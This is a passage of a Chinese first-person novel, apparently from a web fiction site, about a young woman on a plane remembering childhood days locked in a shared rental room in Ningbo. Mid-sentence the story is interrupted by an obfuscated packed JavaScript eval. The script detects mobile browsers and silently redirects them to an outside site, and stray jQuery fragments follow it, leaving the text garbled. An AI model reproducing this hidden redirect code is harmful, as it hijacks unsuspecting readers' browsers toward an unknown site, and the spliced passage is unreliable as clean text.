飞机引擎发出低沉的轰鸣，开始沿着跑道加速滑行。机舱微微震动，窗外的景物飞速向后掠去。


    如果要问我此刻的心情，我找不到确切的词语。没有预想中的难过，也没有焦躁不安，内心平静得像冬日午后的湖面，波澜不惊。然而，一丝难以抑制的好奇，如同阳光洒在湖面上跳跃的粼粼波光，在心底时隐时现。


    飞机已爬升至巡航高度，舱内彻底安静下来。刚登机时的喧嚣消失无踪。邻座那对嬉笑的情侣也戴上了眼罩，依偎着沉入梦乡。


    这画面让我恍惚。


    想起之前每一次坐火车或高铁回外婆家，如果是硬座，我和妈妈也是这样依偎着。我把头枕在她单薄的肩膀上，她温暖的手揽着我的肩，有时候还会用指尖有一下没一下地轻轻拍着，仿佛是给婴儿弹奏无声的摇篮曲，我总能在那安稳的节奏里沉沉睡去。


    此刻，我很想靠在那熟悉的肩膀上。


    我闭上眼，却毫无睡意。于是，睁开眼，目光落在腕间的手表上，就这样盯着秒针一格一格地跳动。这是我从小的习惯。


    这个习惯，大概是跟着妈妈到宁波后才养成的。


    记忆里初到宁波的日子，我和妈妈挤在一个小小的房间里。白天，我被锁在里面，只有等到晚上妈妈下班。那房间带个小厕所，还有个电磁炉。妈妈会在出门前给我准备好水和简单的食物，一般都是包子馒头之类的熟食。靠窗边还有一张小书桌，上面堆着不少书，每天晚上睡前，她都会教我认字、念儿歌，第二天我就独自练习她教的内容。


    漫长的白天，时间像凝固了。有一次，我在床头柜的杂物里翻出一块旧手表。金属表盘，磨损的皮质表带，指针不知疲倦地走着。我就那样盯着它，看分针一圈又一圈地转动，仿佛能从这机械的循环里抓住点什么。而且，指针转动时还有声音，我就经常放在耳旁听着“滴答”的转动声，听着它让我心情很平静。这也养成了我的听觉比常人要敏感。


    对了，那时的我已经能数数了，因为在老家上过两个学期的幼儿园。


    也许是年龄太小，又或许是记忆太遥远，太模糊，当时的情绪我现在已难分辨。但按常理推想，我应该是不开心的。因为到了宁波后的那整整一年，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15788749|174904||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我都没再踏进幼儿园的大门，日复一日地被锁在那个小房间里。只有晚上或者妈妈休息时候才带我出门。


    门为什么要锁起来了？


    因为我们是和别人合租的。


    那时我不懂什么叫合租，只知道这房子里住着很多人，男女老少都有。妈妈大概是怕她不在时，我一个人跑出去不安全，所以我很少见到外面的租客。而且，我能辨认他们全凭声音，毕竟合租的老房子隔音不太好。


    还记得有一次深夜，大概凌晨两点，我饿醒了，妈妈起来去公共厨房给我煮面，我跟着她去了。不一会儿，一对穿着时髦的年轻男女走进来，看到我时一脸惊诧：“哟！这屋里还藏着个小姑娘呢？住了大半年都没见过！”


    我被人看到后，妈妈显得有些慌张，因为给我煮的面盐放多了，我吃完后灌了好多水。模糊记得，妈妈后来又出去煮了两碗面端给他们，还在他们房间里待了一会儿才回来。隔着墙板，我只能听到模糊的谈话声，具体说了什么我没听清，或者我现在已经忘记了。但自那以后，这个房子里新搬来的租客也很少知道我的存在。